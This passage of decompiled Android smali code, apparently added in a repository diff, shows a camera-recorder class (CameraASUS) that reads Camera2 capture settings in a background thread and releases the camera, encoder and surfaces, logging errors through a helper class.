iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->mHandler:Landroid/os/Handler;
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
.line 112
:goto_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_2
:catch_0
move-exception p1
.line 114
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_2
return-void
.end method

View File

@@ -0,0 +1,661 @@
.class Lcom/nvav/srv/recorder/CameraASUS$2$1;
.super Ljava/lang/Thread;
.source "CameraASUS.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/CameraASUS$2;->onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS$2;)V
.locals 0
.line 191
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
return-void
.end method
# virtual methods
.method public run()V
.locals 3
.line 194
:goto_0
sget-boolean v0, Lcom/nvav/srv/recorder/CameraASUS;->Starting:Z
if-eqz v0, :cond_0
.line 196
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
const/4 v1, 0x0
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$400(Lcom/nvav/srv/recorder/CameraASUS;Z)V
const-wide/16 v0, 0x1
.line 197
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUS$2$1;->sleep(J)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
.line 199
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
goto :goto_0
.line 203
:cond_0
:try_start_1
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Landroid/graphics/Rect;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->rect:Landroid/graphics/Rect;
.line 204
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->aec:I
.line 205
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->cem:I
.line 206
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, [Landroid/hardware/camera2/params/MeteringRectangle;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
.line 207
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->cafm:I
.line 208
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->caft:I
.line 209
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Float;
invoke-virtual {v1}, Ljava/lang/Float;->floatValue()F
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->lfd:F
.line 210
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->caem:I
.line 211
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->ss:I
.line 212
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Long;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->sfd:Ljava/lang/Long;
.line 213
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Long;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->set:Ljava/lang/Long;
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
goto :goto_1
:catch_1
move-exception v0
.line 215
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 218
:goto_1
:try_start_2
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {v0}, Landroid/hardware/camera2/CameraDevice;->close()V
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
goto :goto_2
:catch_2
move-exception v0
.line 220
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 223
:goto_2
:try_start_3
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
if-eqz v0, :cond_1
.line 224
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->stop()V
.line 225
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->release()V
:try_end_3
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
goto :goto_3
:catch_3
move-exception v0
.line 228
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_1
:goto_3
const/4 v0, 0x0
.line 231
:try_start_4
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
move-result-object v1
if-eqz v1, :cond_2
.line 232
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
move-result-object v1
invoke-virtual {v1}, Landroid/view/Surface;->release()V
.line 233
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v1, v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$002(Lcom/nvav/srv/recorder/CameraASUS;Landroid/view/Surface;)Landroid/view/Surface;
:try_end_4
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
goto :goto_4
:catch_4
move-exception v1
.line 236
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 239
:cond_2
:goto_4
:try_start_5
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
invoke-interface {v1}, Ljava/util/List;->clear()V
.line 240
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
:try_end_5
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
goto :goto_5
:catch_5
move-exception v1
.line 242
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 244
:goto_5
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
.line 245
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 247
:try_start_6
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
move-result-object v1
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
:try_end_6
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
goto :goto_6
:catch_6
move-exception v0
.line 249
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_6
const-wide/16 v0, 0x2ee
.line 252
:try_start_7
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUS$2$1;->sleep(J)V
:try_end_7
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
goto :goto_7
:catch_7
move-exception v0
.line 254
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 257
:goto_7
:try_start_8
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mThread:Landroid/os/HandlerThread;
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
.line 258
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mThread2:Landroid/os/HandlerThread;
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
.line 259
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mThread3:Landroid/os/HandlerThread;
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
:try_end_8
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_8
goto :goto_8
:catch_8
move-exception v0
.line 261
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 263
:goto_8
sget-boolean v0, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
if-eqz v0, :cond_3
.line 265
:try_start_9
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-virtual {v0}, Lcom/nvav/srv/recorder/CameraASUS;->StartRestart()V
:try_end_9
